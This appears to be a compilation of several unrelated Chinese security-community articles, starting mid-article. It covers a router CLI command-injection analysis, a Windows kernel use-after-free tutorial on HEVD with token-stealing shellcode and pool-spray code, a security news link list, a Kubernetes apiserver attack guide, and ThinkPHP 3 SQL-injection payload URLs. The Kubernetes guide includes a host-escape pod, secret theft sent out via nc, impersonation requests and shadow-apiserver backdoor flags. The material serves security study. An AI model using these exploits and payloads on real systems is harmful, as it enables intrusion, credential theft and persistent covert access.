好家伙，还没有去符号表，和前面复现中cli的显示基本一致了。一般这种实现都是注册了某个回调函数，例如cmd_ping，可以在IDA中进入查看。非常巧合的是，我去搜索了一下这个函数，发现是Github上的一个开源[libcli](https://github.com/dparrish/libcli/)项目的，这就极大降低了逆向的难度。平常在做研究的时候也可以通过去找设备开发的GPL协议，然后定位使用了什么开源项目，降低逆向难度。如下是开源的函数原型，可以看到cmd_ping函数就是注册的回调，是选择了命令后具体执行的函数。
struct cli_command *cli_register_command(struct cli_def *cli, struct cli_command *parent, const char *command,
int (*callback)(struct cli_def *, const char *, char **, int), int privilege,
int mode, const char *help)
进一步的关键函数调用链就是：cmd_ping -> systemCmd ->
popen，感兴趣的师傅可以进入具体查看，也没有什么复杂的绕过，直接就是格式化字符串然后到popen执行。
猜测这一个CVE实际上是开发人员原本为了方便测试设置的，从开启telnet到使用测试CLI执行命令。CLI在登录的时候也有明确提示，属于测试CLI。然后在实际交付代码的时候却没有把相关代码去掉。
## 小结
本篇文章首先对一连串的漏洞进行了复现，实现了从敏感信息泄露到远程RCE的过程。然后从逆向结合能够查找到的相关开源组件源码，对漏洞进行了分析。期间还是走了很多弯路，用了不短的时间去分析执行逻辑、回调函数之类的，最后深一步理解到了查找研究目标GPL相关开源组件代码，进一步降低逆向难度的重要性。
* * * | 社区文章 |
**作者: wjllz
博客链接: <https://www.redog.me/2018/11/02/windows-kernel-exploit-part-1/>**
### 前言
Hello, 欢迎来到`windows kernel exploit`系列, 这是UAF系列的第一篇. 三篇的主要内容如下.
[+] 第一篇: HEVD给的样例熟悉UAF
[+] 第二篇: CVE-2015-0057在win8 X64下的利用
[+] windows 10 x64下的UAF
关于第三篇的内容我还没有决定好, 最近在研究CVE-2018-8410, 如果分析的出来的话. 第三篇的内容我会给出CVE-2018-8410的分析报告.
如果失败的话, 我会挑选一下windows 10下的X64的UAF进行分析. 由于win10加了很多缓解措施, 所以那会是一个相当有趣的过程.
博客的内容我是倒着推的, 因为我喜欢有目的性的工作. 所以决定在最后再进行漏洞原理的分析。而原理的探讨主要是通过对补丁的探讨而完成.
在学习的过程中, 我给出了实验相应步骤的动态图. 希望能对您有所帮助.
### 0x01: 实验环境的搭建
由于是系列的第一节, 所以讲一下环境的搭建, 在经过漫长的犹豫之后, 我决定把环境的搭建制作成为一个gif图, 因为觉得动态的过程更容易理解一些.
Tips: 本次环境的搭建环境. 仅在win7上面适用. win10(win 8 以后) 下因为驱动签名的问题会有一些小小的不同, 后面会给出win10的教程.
下面是对环境搭建步骤详解.
#### 1.1 环境要求
[+] 配置支持
调试宿主机: windows 10 X64
目标机子: windows 7 sp1 x86
调试器: windbgx.exe
辅助工具: virtuakD
#### 1.2 第一步
把virtualKD解压到宿主调试机C:\SoftWare, 将宿主机C:/software/target目录复制到target机子C:\下.
#### 1.3 第二步
打开target机器下的C:\target\vminstall.exe 点击yes. 电脑重启
#### 1.4 第三步
设置Vmcommon的调试器路径
#### 1.5 第四步
开始调试.
### 0x02: 漏洞利用
#### 2.1: 思路详解.
在我自己的学习过程中, 我喜欢把自己学的东西切成几大块， 假设为ABCD四个大块, 在B无法理解的情况下,
我能够去弄明白ACD就好.这样即使无法完成此次学习, 我也能保证能在此次的学习过程中得到有用的技能.
让我们来假设一下作为一个对UAF不理解的小白我们会把漏洞的利用过程切为那几个部分.
[+] 编写shellcode(最终目的是为了运行shellcode)
[+] 分析漏洞
[+] 根据漏洞原理, 伪造能够利用的数据(最终的结果是可以利用shellcode).
[+] 触发漏洞
[+] 运行cmd, 验证提权是否成功.
在进行上面的分析之后, 我们可以先做一些比较轻松的部分.
[+] 运行cmd进行验证.
[+] 编写Shellcode
#### 2.2: 运行cmd进行验证.
我相信有部分开始做内核的朋友可能会比较好奇为什么最后运行cmd, 输入`whoami`之后, 就能证明自己提权成功了, 很不幸的, 这是一段漫长的故事.
其实也还是很简单的. 原理如下.
[+] 我们运行了exp, exp记作进程A
[+] EXP里面创建一个cmd子进程, 记作子进程B
[+] 子进程会默认继承父进程的权限
[+] 父进程提权成功, 可以在子进程体现.(类似于老子帅不帅可以从儿子那里得到相应的推测)
##### 2.2.1: 编写创建cmd子进程程序.
这一部分的代码感谢小刀师傅,
来源于他的[博客](https://xiaodaozhi.com/)和[github](https://github.com/leeqwind).
在他的`博客`和`github`上面我学习到了很多的有用的东西.
//创建cmd子进程的代码.
static
VOID xxCreateCmdLineProcess(VOID)
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi); // 创建cmd子进程
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
很多时候, 我觉得有些细节其实是可以不用太在意的. 你可以帮他当作拖油瓶, 只是附带的产物, 比如上面的si的赋值之类的. 让我们关注一下重点函数.
#### 2.2.2: CreateProcessW函数
CreateProcessW创建一个子进程, 在MSDN上面你可以的到详细的解释. 我们列出重要参数的详细解释.
[+] wzFilePath --> 创建的进程名称, cmd
#### 2.2.2: 调用cmd子进程
我们在main函数当中进行调用. main函数现在的代码如下.
// main函数的代码.
int main()
{
xxCreateCmdLineProcess(); //调用cmd
return 0;
}
#### 2.2.3: 运行的结果
运行的结果如下图.
我们发现我们现在的提权没有成功, 这是肯定的. 因为我们并没有进行漏洞的利用.
#### 2.3: 编写shellcode的代码
作为一个有灵魂的内核选手, 这个地方的shellcode我们当然采用汇编编写. 编写之前, 我们继续对我们所学的东西进行分块.
[+] ShellCode目的: 进行提权
[+] 提权手段: 将system进程的Token赋值给cmd
[+] 提权的汇编步骤:
==> 找到system的Token, 记作TokenSys
==> 找到cmd的Token. 记作TokenCmd
==> 实现TokenCmd = TokenSys
##### 2.3.1: ShellCode提权方法的验证.
okok, 作为一个内核选手, 我们深知调试器永远不会骗人. 所以我们可以通过调试器来帮助我们验证一下我们的思路是否正确.
###### 2.3.1.0: 找到System进程的TokenSys
运行如下命令:
!dml_proc
我们能得到关于system如下的结果.
kd> !dml_proc
Address PID Image file name
857bd920 4 System
86357a10 120 smss.exe
86385030 178 csrss.exe
86be3b90 1ac wininit.exe
863e4b68 1b4 csrss.exe
873f1d40 1d8 winlogon.exe
...
解释:
PID:0004 --> system在win7下PID永远为4
PROCESS: 857bd920 -- 进程起始的地址.
接着我们运行如下的命令, 查看system进程的Token.
kd> dt nt!_EX_FAST_REF 857bd920 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f -- value是Token的值.
###### 2.3.1.1: 找到cmd进程的TokenCmd
与找到TokenSys的方法类似, 在虚拟机里面运行一个cmd. 我们可以通过相同的方式找到TokenCmd
kd> dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x967ee085 Void
+0x000 RefCnt : 0y101
+0x000 Value : 0x967ee085 -- value是Token的值.
###### 2.3.1.2: 进行TokenCmd = TokenSys.
这一部分, 我们采用调试器辅助完成. Token存放在进程偏移f8处, 我们可以把TokenCmd按照如下的命令重新赋值.
ed 871db030+f8(TokenCmd的存放地址) 8940126f(TokenSys)
此时我们再对cmd的Token进行解析. 发现Token的值已经和Sytem的Token出奇一致.
kd> dt nt!_EX_FAST_REF 871db030 +f8
+0x000 Object : 0x8940126f Void
+0x000 RefCnt : 0y111
+0x000 Value : 0x8940126f
此时我们运行cmd的`whoami`命令.
[
##### 2.3.2: 提权的汇编实现.
汇编实现的整体代码如下. 关键点我会给出注释, 如果你需要更详细的解释, 你可以在这里找到答案. (Tips:
汇编代码只是对我们上面手工做的过程的一次模仿. 别畏惧它)
// 提权的汇编代码.
void ShellCode()
{
_asm
{
nop
nop
nop
nop
pushad
mov eax,fs:[124h]
mov eax, [eax + 0x50] // 找到_EPROOCESS
mov ecx, eax
mov edx, 4 // edx = system PID
// 循环是为了获取system的_EPROCESS
find_sys_pid:
mov eax, [eax + 0xb8]
sub eax, 0xb8 // 链表遍历
cmp [eax + 0xb4], edx // 根据PID判断是否为SYSTEM
jnz find_sys_pid
// 替换Token
mov edx, [eax + 0xf8]
mov [ecx + 0xf8], edx
popad
ret
}
}
一点小Tips:
[+] ShellCode的原理其实不用太了解, 大多数时候你可以把它当作stdio.h提供给你的printf函数, 直接用就好
[+] 堆栈的平衡建议采用调试解决.
##### 2.3.3: ShellCode的有效性的验证.
调试器无所不能(但是不能帮我找到女朋友…), 我们想要运行shellcode, 如何运行???.
在阅读了源码之后, 我们发现了一个幸福的代码片段.
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
g_UseAfterFreeObject是一个全局变量, 他的定义如下.
PUSE_AFTER_FREE g_UseAfterFreeObject = NULL;
typedef struct _USE_AFTER_FREE {
FunctionPointer Callback;
CHAR Buffer[0x54];
} USE_AFTER_FREE, *PUSE_AFTER_FREE;
有趣, 如果我们能够篡改他的函数指针指向ShellCode地址. 那么我们就能在内核当中调用我们的shellcode. 接下来做一个小小的演示
Tips:
这一部分有些小小的东西需要后面的东西. 请关注篡改函数指针. 其他的内容不会的假装自己会, 看了后面的再来理解前面的.
在未篡改之前, g_UseAfterFreeObject的结构长这样.
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x87815558 void +ffffffff87815558
+0x004 Buffer : [84]
在进行了一堆骚操作之后(我们后面的主要内容就是为了讲解这个地方的骚操作).
g_UseAfterFreeObject的结构长这样.
dt HEVD!g_UseAfterFreeObject
0x877deb58
+0x000 Callback : 0x001f1000 void UAF_AFTER_FREE_EXP!ShellCode+0
+0x004 Buffer : [84] "
这样的话, 我们就能够运行`shellcode`了, 提权成功如图.
#### 2.4: 执行一堆骚操作.
我们前面说过, 后面的内容主要是一堆骚操作. 来执行替换g_UseAfterFree函数指针的功能.
##### 2.4.1: 伪造能够利用的数据
USE AFTER FREE, 从这个名字来看是指在FREE状态后依然能够被使用. 有趣有趣. 那我们来关注一下FREE状态之后如何使用.
在我们从小到大的过程中. 我们知道POOL是动态分配的, 就像你永远不知道明天的巧克力是什么味道一样(当然作为一个单身狗, 明天也是没有巧克力的,
太凄凉了). 你永远也不知道下一块分配的POOL在那个位置.
Wait, 我们真的不知道吗??? 如果你有兴趣你可以在此处的paper找到相应的POOL分配和释放算法的相关解释. 在这里我直接给出结论.
[+] 假设想要被分配的堆的大小是258. 操作系统会去选取最适合258(>=)的空闲堆位置来存放他.
我们来看一下我们的UAF(假设已经成功)POOL的大小. 我们申请一个和他一模一样的堆. 是不是有一定的概率使我们分配后的堆的刚好是这个地方呢.
答案是肯定的. 但是有一个问题. 一定的概率. 我们希望我们的利用代码能够更加的稳定. 假设此时操作一共有X个大小的空闲区域. 我们的概率是1/X,
分配两个是2/X, 不断增加.
[+] n/X -- n是我们请求分配的POOL个数.
最终我们的代码如下.
// 构造美好的数据
PUSEAFTERFREE fakeG_UseAfterFree = (PUSEAFTERFREE)malloc(sizeof(FAKEUSEAFTERFREE));
fakeG_UseAfterFree->countinter = ShellCode;
RtlFillMemory(fakeG_UseAfterFree->bufffer, sizeof(fakeG_UseAfterFree->bufffer), 'A');
// 喷射
for (int i = 0; i < 5000; i++)
{
// 此处的函数用于Pool的分配.
DeviceIoControl(hDevice, 0x22201F, fakeG_UseAfterFree, 0x60, NULL, 0, &recvBuf, NULL);
}
##### 2.4.2: 漏洞成因分析(为什么在那个时候我们处于Free状态).
我们到这里其实利用就已经做完了, 但是永远别忘记一件事, 这只是一个练习. 与真正的漏洞分析差的远. 所以我们学的应该不是教程,
而是这一段在实践当中可以帮助我们做些什么.
漏洞成因的分析在我实践的过程中. 有几种手段.
[+] 查阅漏洞发现者的给出的相关资料
[+] 查阅其他人做的分析笔记
[+] 阅读POC
[+] 补丁比对
这个地方我们来模拟补丁比对. 实战当中你可以使用bindiff, 为了让接下来的过程更加的简单. 我们采用源码分析.
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((PVOID)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
在这个地方, 安全与不安全的主要理由是g_UseAfterFreeObject最后是否为NULL.
漏洞点: 如果不把它变为NULL, 后续可以继续应用.
这个地方有一个小小的问题, 在下一节我们给出我们的套路.
### 0x3 总结.
#### 3.1: 补丁的探讨.
我们来对安全的版本进行一点小小的讨论.
[+] g_UseAfterFreeObject = NULL
[+] if(g_UseAfterFreeObject->CallBack) ==> if(NULL->CallBack) ==> if(0->CallBack)
随着思路的推理, 我们的嘴角逐渐浮现出笑容. windows 7 下, 我们可以对申请0地址, 并且填充相应的内容.
假设shellcode地址为0x00410000. 我们通过对0地址进行填充内容.
00000000: 00410000 --> 指向shellcode地址
我们也能顺利执行我们的shellcode. ==> 此处引发了一个`空指针解引用`漏洞.
OK, 我们验证了这是一个不安全的补丁. 更安全的补丁应该类似于这样
if(g_UseAfterFreeObject != NULL)
{
if(g_UseAfterFreeObject->CallBack)
{
g_UseAfterFreeObject->CallBack();
}
}
很遗憾的, 当我发现这个的时候, 发现创作者已经做了这样一个检测…
#### 3.2: 关于挖洞的探讨.
在进行这次学习之后, 我有一个小小的猜测. 是否存在可能性, 安全人员在进行uaf漏洞补丁的时候. 忽视了空指针解引用呢.
自己思考的比较简陋的方式:
[+] 补充最新的补丁.
[+] 阅读更新报告, 确定漏洞集
[+] 编写IDAPy, 完成如下的功能.
==> 检索汇编代码. 确定搜选补丁函数当中的CMP个数.(如果小于2, 可以做重点分析)
==> 检索汇编代码, 确定相邻8 byte - 16byte范围(这个范围需要具体研究.). 是否同时存在两个CMP
#### 3.3: UAF漏洞利用的套路总结.
[+] 原理: 分配的POOL为赋值为NULL, 导致后面可用.
[+] 触发漏洞
[+] 伪造数据(依赖于伪造数据实现shellcode运行)
[+] 调用相关的函数进行堆喷射
[+] CMD验证
#### 3.4: 实验结果验证
### 0x4: 相关链接.
* sakura师傅的博客: <http://eternalsakura13.com/>
* 小刀师傅的博客: <https://xiaodaozhi.com/>
* 本文exp地址:<https://github.com/redogwu/blog_exp_win_kernel/blob/master/kernel_uaf_1.cpp>
* 一个大大的博客: <https://rootkits.xyz/>
* shellcode编写: <https://hshrzd.wordpress.com/2017/06/22/starting-with-windows-kernel-exploitation-part-3-stealing-the-access>
* * * | 社区文章 |
# 【知识】9月1日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 逆向工程OBi200 Google语音应用程序（Part 1）、CertReq Exfiltration –
通过Native工具和CSR获取数据、Poison
Ivy样本分析、美国中情局（CIA）开发的Windows恶意软件，改变引导扇区加载恶意软件、解析Chrome扩展程序Facebook恶意软件**
**资讯类：**
Instagram API存在漏洞 名人通讯详情泄露
<https://www.theregister.co.uk/2017/08/31/instagram_leaks_verified_members_contacts_via_api_bug/>
Telnet端口未设密码 近3000比特币矿机遭暴露
<https://www.bleepingcomputer.com/news/security/nearly-3-000-bitcoin-miners-exposed-online-via-telnet-ports-without-passwords/>
**技术类：**
****
逆向工程OBi200 Google语音应用程序（Part 1）
<https://randywestergren.com/reverse-engineering-obi200-google-voice-appliance-part-1/>
CertReq Exfiltration – 通过Native工具和CSR获取数据！
<https://www.doyler.net/security-not-included/certreq-exfiltration>
Poison Ivy样本分析
[https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/?Year=2017&Month=8](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/?Year=2017&Month=8)
Pentest Home Lab – 0x3 – Kerberoasting: Creating SPNs so you can roast them
<https://sethsec.blogspot.com/2017/08/pentest-home-lab-0x3-kerberoasting.html>
美国中情局（CIA）开发的Windows恶意软件，改变引导扇区加载恶意软件
<https://wikileaks.org/vault7/document/Angelfire-2_0-UserGuide/Angelfire-2_0-UserGuide.pdf>
RedSnarf：用于Windows环境的渗透测试工具
<https://github.com/nccgroup/redsnarf>
解析Chrome扩展程序Facebook恶意软件
<https://labs.detectify.com/2017/08/31/dissecting-the-chrome-extension-facebook-malware/>
禁用Wi-Fi是否可以阻止Android手机发送Wi-Fi frames？
<https://hal.inria.fr/hal-01575519/document>
Joomla Component Huge-IT Portfolio Gallery Plugin 1.0.6 – SQL注入漏洞
<https://www.exploit-db.com/exploits/42597/>
OSINT Framework（公开资源情报计划框架）
<https://github.com/lockfale/osint-framework>
Working Around Twitter API Restrictions To Identify Bots
<https://labsblog.f-secure.com/2017/08/31/working-around-twitter-api-restrictions-to-identify-bots/>
FirmUSB: Vetting USB Device Firmware using Domain Informed Symbolic Execution
<https://arxiv.org/abs/1708.09114>
<https://arxiv.org/pdf/1708.09114.pdf>
Luminate Store Basics defacement and potential takeover
<https://medium.com/@uranium238/luminate-store-basics-defacement-and-potential-takeover-9cf336fac8e5>
Writeup CTF RHME3: exploitation
<https://ktln2.org/2017/08/31/rhme3-exploitation-writeup/>
Instagram is listening to you
<https://medium.com/@damln/instagram-is-listening-to-you-97e8f2c53023>
SharknAT&To
<https://www.nomotion.net/blog/sharknatto/> | 社区文章 |
文章首发于火线Zone社区：<https://zone.huoxian.cn/d/1269-k8sapiserver>
# apiserver简介
API Server 作为 K8s 集群的管理入口，在集群中被用于提供API来控制集群内部。默认情况下使用 8080 （insecure-port，非安全端口）和 6443 （secure-port，安全端口）端口，其中 8080 端口无需认证，6443端口需要认证且有 TLS 保护。
**apiserver工作原理图** ：
## 而apiserver在渗透测试过程中受到以下风险：
* apiserver的`Insecure-port`端口对外暴露
* apiserver未授权配置错误(`匿名访问+绑定高权限角色`)
* 历史apiserver提权漏洞(例如`CVE-2018-1002105`)
* 配置不当的RBAC受到的提权风险
* apiserver权限维持
* ...
# 1.apiserver的`Insecure-port`端口对外暴露
API Server 作为 K8s 集群的管理入口，在集群中被用于提供API来控制集群内部。默认情况下使用 8080 （insecure-port，非安全端口）和 6443 （secure-port，安全端口）端口，其中 8080 端口无需认证，6443端口需要认证且有 TLS 保护。
如果其在生产环境中Insecure-port 被暴露出来，便利用此端口进行对集群的攻击。
但是这种情况很少了，条件必须是低版本（1.20版本后该选项已无效化）加配置中(`/etc/kubernets/manifests/kube-apiserver.yaml` )写了insecure-port选项,默认不开启：
# 2.apiserver未授权配置错误(`匿名访问+绑定高权限角色`)
Api server的 6443 （secure-port，安全端口）认证是需要凭据的。
如果配置错误，将system:anonymous用户绑定到了cluster-admin用户组，那么匿名用户可以支配集群。
kubectl create clusterrolebinding cluster-system-anonymous --clusterrole=cluster-admin --user=system:anonymous
这种配置下可以拿到所有token后与api server交互，支配集群：
# 3.历史apiserver提权漏洞(例如`CVE-2018-1002105`)
CVE-2018-1002105是一个K8s提权漏洞，Kubernetes用户可以在已建立的API
Server连接上，打通了client到kubelet的通道，实现提升k8s普通用户到k8s api server的权限。
## 漏洞影响版本:
* Kubernetes v1.0.x-1.9.x
* Kubernetes v1.10.0-1.10.10 (fixed in v1.10.11)
* Kubernetes v1.11.0-1.11.4 (fixed in v1.11.5)
* Kubernetes v1.12.0-1.12.2 (fixed in v1.12.3)
## 漏洞利用条件:
这边普通用户至少需要具有一个pod的exec/attach/portforward等权限。
环境：
构造一个命名空间test，和一个test命名空间的pod，原有权限是对test命名空间下的pod的exec权限，漏洞利用后将权限提升为了API
Server权限，这里用metarget靶场起一个环境：
创建namespace:
apiVersion: v1
kind: Namespace
metadata:
name: test
创建role：
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
name: test
namespace: test
rules:
- apiGroups:
- ""
resources:
- pods
verbs:
- get
- list
- delete
- watch
- apiGroups:
- ""
resources:
- pods/exec
verbs:
- create
- get
创建role_binding.yml:
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: test
namespace: test
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: test
subjects:
- apiGroup: rbac.authorization.k8s.io
kind: Group
name: test
创建pod：
apiVersion: v1
kind: Pod
metadata:
name: test
namespace: test
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
serviceAccount: default
serviceAccountName: default
最后给用户配置一个静态的token文件来配置用户的认证：
当在命令行上指定 `--token-auth-file=SOMEFILE` 选项时，API server 从文件读取 bearer token。
token 文件是一个 csv 文件，每行至少包含三列：token、用户名、用户 uid：
token,user,uid,"group1,group2,group3"
这里使用到的配置token：
password,test,test,test
验证：
对指定test空间下的pod执行命令是可以的：
kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify exec -it test -n test /bin/hostname
对其他命名空间越权操作发现提示权限不足：
kubectl --token=password --server=https://192.168.1.22:6443 --insecure-skip-tls-verify get pods -n kube-system
## 漏洞复现：
exp：<https://github.com/Metarget/cloud-native-security-book/blob/main/code/0403-CVE-2018-1002105/exploit.py>
exp中也是会创建一个挂载宿主机根目录的pod，实现容器逃，而创建的基础是利用前面说的高权限websocket连接，利用这个连接向apiserver发送命令，窃取高凭据文件，再利用凭据文件创建pod，挂载宿主机根目录。
挂载了以后读取宿主机节点的/etc/kubernetes/pki目录下的大量敏感凭据：
exp中指定读取的证书文件：
利用：
这样就拿到了凭据，最后就是创建pod挂载宿主机根目录：
# attacker.yaml
apiVersion: v1
kind: Pod
metadata:
name: attacker
spec:
containers:
- name: ubuntu
image: ubuntu:latest
imagePullPolicy: IfNotPresent
# Just spin & wait forever
command: [ "/bin/bash", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumeMounts:
- name: escape-host
mountPath: /host-escape-door
volumes:
- name: escape-host
hostPath:
path: /
host-escape-door 目录为pod挂载宿主机的目录,发现已经可以查看apiserver宿主机的目录：
# 4.配置不当的RBAC受到的提权风险
### RBAC权限滥用提权
权限滥用主要在对特定资源有特定操作的情况下，可以有特定的权限提升。
## 枚举当前RBAC权限
在指定当前通过渗透得到用户凭据或者sa的凭据后，可以先枚举当前有哪些权限：
也可以使用curl对apiserver的api进行访问来区别当前的权限:
枚举之后应该对当前凭据对资源的操作有个数了，下面列举在分配权限时，哪些情况下有提权提升的可能。
## create pods权限
`resources: ["*"] verbs:
["create"]`：`resources`为*或者为`pods`的情况下，verbs是`create`，在集群中可以创建任意资源，比如像pods，roles.而创建pods的命名空间也取决你role中metadata.namespace的值：
如果有create权限，常见攻击手法就是创建挂载根目录的pod，跳到node：
## list secrets权限
`resources: ["*"] verbs:
["list"]`：`resources`为*或者为`secrets`的情况下，verbs是`list`,在集群中可以列出其他user的secrets，一般拿来寻找特权账号凭据。
具有list权限或者说是list secrets权限的role可以列出集群中重要的secrets，包括管理的keys(JWT):
利用：
`curl -v -H "Authorization: Bearer <jwt_token>"
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/`
## get secret权限
`resources: ["*"] verbs: ["get"]`:
`resources`为*或者为`secrets`的情况下，verbs是`get`，get可以在集群中获得其他service
accounts的secrets。
如下定义Role的resources字段为*或者secrets对象，并且verbs为get，这时候有权限获得其他secrets。
get权限能访问的api：
GET /apis/apps/v1/namespaces/{namespace}/deployments/{name}
但是get和list不一样，get需要知道secrets的id才能读：
图出处：图出处，list和get来窃取凭据的区别：<https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf>
这时候用读secrets来攻击的话常见手法是读默认的sa的token,默认有这些sa:
对应的token:
kubectl -n kube-system get secret -n kube-system
可以看到每个sa的token都是sa的`name-token-随机五个字符`,
其中随机的字符是由数字和字母组合，特定的27个字符：
<https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#183>：#
27的5次方也是14,348,907可能，写个py脚本的迭代器爆破即可：
## get list watch secrets权限
`resources: ["*"] verbs:
["get","list","watch"]`:resources字段为*或者secrets的话可以利用这三个权限，来创建一个恶意pod后通过挂载secrets以至获取别人的secrets，然后外带：
这里使用`automountServiceAccountToken`将特权服务帐户的令牌挂载到
pod，使用令牌获取拿到所有secrets后用nc传到攻击者监听端口，当前也可以使用其他方式带外：
图出处，创建一个"hot pod"来窃取凭据：<https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18100/2020_USA20_DSO-W01_01_Compromising%20Kubernetes%20Cluster%20by%20Exploiting%20RBAC%20Permissions.pdf>
## Impersonate权限
用户可以通过模拟标头充当另一个用户。这些让请求手动覆盖请求身份验证的用户信息。例如，管理员可以使用此功能通过临时模拟另一个用户并查看请求是否被拒绝来调试授权策略。
以下 HTTP 标头可用于执行模拟请求：
* `Impersonate-User`：要充当的用户名。
* `Impersonate-Group`：要充当的组名。可以多次提供设置多个组。可选的。需要“模拟用户”。
* `Impersonate-Extra-( extra name )`：用于将额外字段与用户关联的动态标题。可选的。需要“模拟用户”。
* `Impersonate-Uid`：代表被模拟用户的唯一标识符。可选的。需要“模拟用户”。Kubernetes 对此字符串没有任何格式要求。
有了`Impersonate`权限攻击者可以模拟一个有特权的账户或者组：
Role:
binding:
模拟用户的操作是通过调用K8s API 的Header来指定的，kubectl可以加入--as参数：
kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...
请求apiserver:
curl -k -v -XGET -H "Authorization: Bearer <JWT TOKEN (of the impersonator)>" \
-H "Impersonate-Group: system:masters"\
-H "Impersonate-User: null" \
-H "Accept: application/json" \
https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
# 5.apiserver权限维持
在渗透权限维持阶段如果像常规对机器比如容器做权限维持的话，
是有弊端的，因为在K8s中会对pod进行扩容和缩容，权限维持的机器就会变得有生命周期而使已获得权限变得不稳定。所以在K8s中利用apiserver做权限维持是个不错的选择，
## shadow apiserver
shadow apiserver就是创建一种针对K8s集群的隐蔽持续控制通道，
在原有的apiserver上开放更大的权限并且放弃日志审计，从而达到隐蔽性和持久控制目的。
pdf：
<https://published-prd.lanyonevents.com/published/rsaus20/sessionsFiles/18317/2020_USA20_CSV-F01_01_Advanced%20Persistence%20Threats%20The%20Future%20of%20Kubernetes%20Attacks.pdf>
原本apiserver信息：
apiserver pod的详细：
构造shadow apiserver需要在原有的基础上增加功能,总所周知cdk工具可以一键部署shadow apiserver：
`pkg/exploit/k8s_shadow_apiserver.go`:
可以发现cdk在配置文件中添加：
--allow-privileged
--insecure-port=9443
--insecure-bind-address=0.0.0.0
--secure-port=9444
--anonymous-auth=true
--authorization-mode=AlwaysAllow
可以看到通过参数新启动的apiserver允许了容器请求特权模式，暴露了insecure-port为9443，监听地址绑定为0.0.0.0，允许了匿名访问，允许所有请求。
也可以修改cdk中原有配置的参数来定制你的后门apiserver。直接修改`argInsertReg.ReplaceAllString`函数里的内容即可。
ps ：
`insecure-port`的参数在最新cdk已经被注释了，这个参数在K8s 1.24会直接弃用。
所以这个时候当前可以匿名向apiserver访问请求管理集群，curl/kubectl去请求，
`kubectl -s 192.168.1.22:6443 get pods,deployment -o wide`
# 6.最后
k8s API Server提供了k8s各类资源对象（pod,RC,Service等）的增删改查及watch等HTTP
Rest接口，是整个系统的数据总线和数据中心，充当了集群中不可或缺的一个角色，因此apiserver组件的安全以及基线检查工作对于集群来说尤为重要，在集群安全的角度对apiserver组件安全问题和风险也应该保持持续的关注。 | 社区文章 |
## 0x00 前言
北京时间 2018年8月23号11:25分 星期四，tp团队对于已经停止更新的thinkphp
3系列进行了一处安全更新，经过分析，此次更新修正了由于`select()`,`find()`,`delete()`方法可能会传入数组类型数据产生的多个sql注入隐患。
## 0x01 漏洞复现
下载源码： `git clone https://github.com/top-think/thinkphp.git`
使用git checkout 命令将版本回退到上一次commit：`git checkout
109bf30254a38651c21837633d9293a4065c300b`
使用phpstudy等集成工具搭建thinkphp，修改apache的配置文件`httpd-conf`
`DocumentRoot ""` 为thinkphp所在的目录。
重启phpstudy，访问`127.0.0.1`，输出thinkphp的欢迎信息，表示thinkphp已正常运行。
搭建数据库，数据库为`tptest`,表为`user`，表里面有三个字段`id`,`username`,`pass`
修改`Application\Common\Conf\config.php`配置文件，添加数据库配置信息。
之后在`Application\Home\Controller\IndexController.class.php` 添加以下代码:
public function test()
{
$id = i('id');
$res = M('user')->find($id);
//$res = M('user')->delete($id);
//$res = M('user')->select($id);
}
针对`select()` 和`find()`方法
,有很多地方可注，这里主要列举三个`table`，`alias`，`where`，更多还请自行跟踪一下`parseSql`的各个`parseXXX`方法，目测都是可行的，比如`having`,`group`等。
table：http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[table]=user where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
alias：http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
where: http://127.0.0.1/index.php?m=Home&c=Index&a=test&id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
